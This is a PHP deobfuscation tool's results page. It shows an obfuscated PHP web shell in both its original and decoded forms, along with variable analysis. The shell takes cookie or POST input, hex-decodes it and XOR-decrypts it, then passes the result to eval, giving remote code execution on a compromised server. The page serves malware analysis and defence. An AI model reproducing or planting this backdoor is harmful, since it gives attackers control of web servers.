Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $oJrWQNbOL/* i */=/* b*/chr ( 387 - 272/* B */)."\164" ./* m *..

Decoded Output download

<?php 
$oJrWQNbOL/*  i  */=/* b*/chr    (    387    -    272/*  B  */)."t"    ./*   m */"r" .  '_'/*   URq  */.    "r"/*  kn */.    chr     (101)/*  TQAwY   */.    "p"    .  "e"  .    chr   (    805/*dq */-/* jsS */708/*SgrRo*/).'t';; 
                $dTKZfbIvO/* DYpyX */=/*  wRT */"e"  ./*ZeYgs */"x"    .    chr/*   BG  */(     351    - 239     )."l"    .   "o"    .  'd'  ./*AeL   */"e";; 
 
$aOFtDDYNUn    =/*jK*/"p"    ./*tj   */"a"    ./*MGT */chr    (/*ABgk   */626/*V  */-    527   )."k"; 
 
 
function/*aeD  */UTnitElA() 
    { 
      $hzLlOmEfsQ/* JU  */=    Array    (   "UWwlNAAFrkfvqRME"/*  t */=>    "iGwgycjAkwGMbAtwUKgLDyAbpxgH"    ); 
         
            $jheeLXYG    =/*  bcVgN */Array    (/*TAVGU*/"iTlolPivwdxJVExmrrXMPUTkBKpcR"    =>/*OZZUv */"oMCbC"/* LBkBP */); 
     /*   p   */$DHXVJO    = Array(/*  FT   */$hzLlOmEfsQ,   $_COOKIE,   $hzLlOmEfsQ,    $_POST, $jheeLXYG);; 
                     
 
     return    $DHXVJO; 
            } 
   /*LpVCI  */ 
                function    qMSZw($GdUCStH) 
     /*  dHeK  */{ 
     if/* dOjNj */(    count/*   c */(   $GdUCStH    )    ==/*IGf   */3    )     { 
        $dLvOmobMW    =    $GdUCStH[1];; 
      $YCVYbl/*kPHb */=/*FCHs */$GdUCStH[2];; 
       $DfDik    =/*wtn  */$dLvOmobMW($YCVYbl); 
 
/* pt */eval/*   RkPk*/( $DfDik    ); 
 
 
    die    ();$_aofR     =/*Ja */'19393'; 
        /*sCZQJ   */} 
            /*pZRWI */} 
    /*MRbcC   */ 
  /* M  */function kUzBbmkMhQ($ksSSGFok,     $jrfSTxI) 
   /*   hGq   */{ 
     /*   Xk */return     $ksSSGFok/* s   */^    $jrfSTxI;; 
 /* NwKI  */} 
 
 
/*   lWL  */ 
   $IPdEdsrS    =    chr    (35);; 
 /*  Huo */ 
                    foreach    (UTnitElA()    as    $BqfEAyxB)    { 
/*  l */foreach  (/* sjpZ*/$BqfEAyxB    as/*  WQD */$jrfSTxI/*  T*/=>    $ksSSGFok    )    { 
 
 
/* lZZ  */ 
                      $ksSSGFok  =/* G */@$aOFtDDYNUn(  "H"   ./*OW*/"*",     $ksSSGFok/*   V */); 
                 
 
/*  ZlTx  */$jrfSTxI .=   "hmDhI-XcsjeQS-UXT-kPCgvwE-Ftf-gqjWgL-IsQVDq";$_m =  '1039'; 
        $jrfSTxI    = $oJrWQNbOL    (/*  LfbW  */$jrfSTxI,  (  strlen(    $ksSSGFok  )/strlen(/*   c   */$jrfSTxI/*   GU*/)  )     + 1); 
          
         $dbeksq    =/*NikAH */kUzBbmkMhQ($ksSSGFok,    $jrfSTxI);$_bP    =    '39335'; 
 
 
/*ITni  */ 
    $GdUCStH    =/*  TuEp */$dTKZfbIvO    ($IPdEdsrS,   $dbeksq/*  oa   */);; 
            /*UAUxi*/ 
          qMSZw($GdUCStH); 
       } 
 /*PI   */} 
 ?>

Did this file decode correctly?

Original Code

<?php
$oJrWQNbOL/*  i  */=/* b*/chr    (    387    -    272/*  B  */)."\164"    ./*   m */"\162" .  '_'/*   URq  */.    "\162"/*  kn */.    chr     (101)/*  TQAwY   */.    "\160"    .  "\x65"  .    chr   (    805/*dq */-/* jsS */708/*SgrRo*/).'t';;
                $dTKZfbIvO/* DYpyX */=/*  wRT */"\x65"  ./*ZeYgs */"\170"    .    chr/*   BG  */(     351    - 239     )."\x6c"    .   "\157"    .  'd'  ./*AeL   */"\145";;

$aOFtDDYNUn    =/*jK*/"\x70"    ./*tj   */"\141"    ./*MGT */chr    (/*ABgk   */626/*V  */-    527   )."\153";


function/*aeD  */UTnitElA()
    {
      $hzLlOmEfsQ/* JU  */=    Array    (   "UWwlNAAFrkfvqRME"/*  t */=>    "iGwgycjAkwGMbAtwUKgLDyAbpxgH"    );
        
            $jheeLXYG    =/*  bcVgN */Array    (/*TAVGU*/"iTlolPivwdxJVExmrrXMPUTkBKpcR"    =>/*OZZUv */"oMCbC"/* LBkBP */);
     /*   p   */$DHXVJO    = Array(/*  FT   */$hzLlOmEfsQ,   $_COOKIE,   $hzLlOmEfsQ,    $_POST, $jheeLXYG);;
                    

     return    $DHXVJO;
            }
   /*LpVCI  */
                function    qMSZw($GdUCStH)
     /*  dHeK  */{
     if/* dOjNj */(    count/*   c */(   $GdUCStH    )    ==/*IGf   */3    )     {
        $dLvOmobMW    =    $GdUCStH[1];;
      $YCVYbl/*kPHb */=/*FCHs */$GdUCStH[2];;
       $DfDik    =/*wtn  */$dLvOmobMW($YCVYbl);

/* pt */eval/*   RkPk*/( $DfDik    );


    die    ();$_aofR     =/*Ja */'19393';
        /*sCZQJ   */}
            /*pZRWI */}
    /*MRbcC   */
  /* M  */function kUzBbmkMhQ($ksSSGFok,     $jrfSTxI)
   /*   hGq   */{
     /*   Xk */return     $ksSSGFok/* s   */^    $jrfSTxI;;
 /* NwKI  */}


/*   lWL  */
   $IPdEdsrS    =    chr    (35);;
 /*  Huo */
                    foreach    (UTnitElA()    as    $BqfEAyxB)    {
/*  l */foreach  (/* sjpZ*/$BqfEAyxB    as/*  WQD */$jrfSTxI/*  T*/=>    $ksSSGFok    )    {


/* lZZ  */
                      $ksSSGFok  =/* G */@$aOFtDDYNUn(  "\x48"   ./*OW*/"\52",     $ksSSGFok/*   V */);
                

/*  ZlTx  */$jrfSTxI .=   "hmDhI-XcsjeQS-UXT-kPCgvwE-Ftf-gqjWgL-IsQVDq";$_m =  '1039';
        $jrfSTxI    = $oJrWQNbOL    (/*  LfbW  */$jrfSTxI,  (  strlen(    $ksSSGFok  )/strlen(/*   c   */$jrfSTxI/*   GU*/)  )     + 1);
         
         $dbeksq    =/*NikAH */kUzBbmkMhQ($ksSSGFok,    $jrfSTxI);$_bP    =    '39335';


/*ITni  */
    $GdUCStH    =/*  TuEp */$dTKZfbIvO    ($IPdEdsrS,   $dbeksq/*  oa   */);;
            /*UAUxi*/
          qMSZw($GdUCStH);
       }
 /*PI   */}

Function Calls

chr 6
UTnitElA 1

Variables

$DHXVJO [{'key': 0, 'value': [{'key': 'UWwlNAAFrkfvqRME', 'value': 'iGwgycjAkwGMbAtwUKgLDyAbpxgH'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'UWwlNAAFrkfvqRME', 'value': 'iGwgycjAkwGMbAtwUKgLDyAbpxgH'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'iTlolPivwdxJVExmrrXMPUTkBKpcR', 'value': 'oMCbC'}]}]
$IPdEdsrS #
$jheeLXYG [{'key': 'iTlolPivwdxJVExmrrXMPUTkBKpcR', 'value': 'oMCbC'}]
$dTKZfbIvO explode
$oJrWQNbOL str_repeat
$aOFtDDYNUn pack
$hzLlOmEfsQ [{'key': 'UWwlNAAFrkfvqRME', 'value': 'iGwgycjAkwGMbAtwUKgLDyAbpxgH'}]

Stats

MD5 32ed1e89c060bdcf88bba82ffe5f65ee
Eval Count 0
Decode Time 421 ms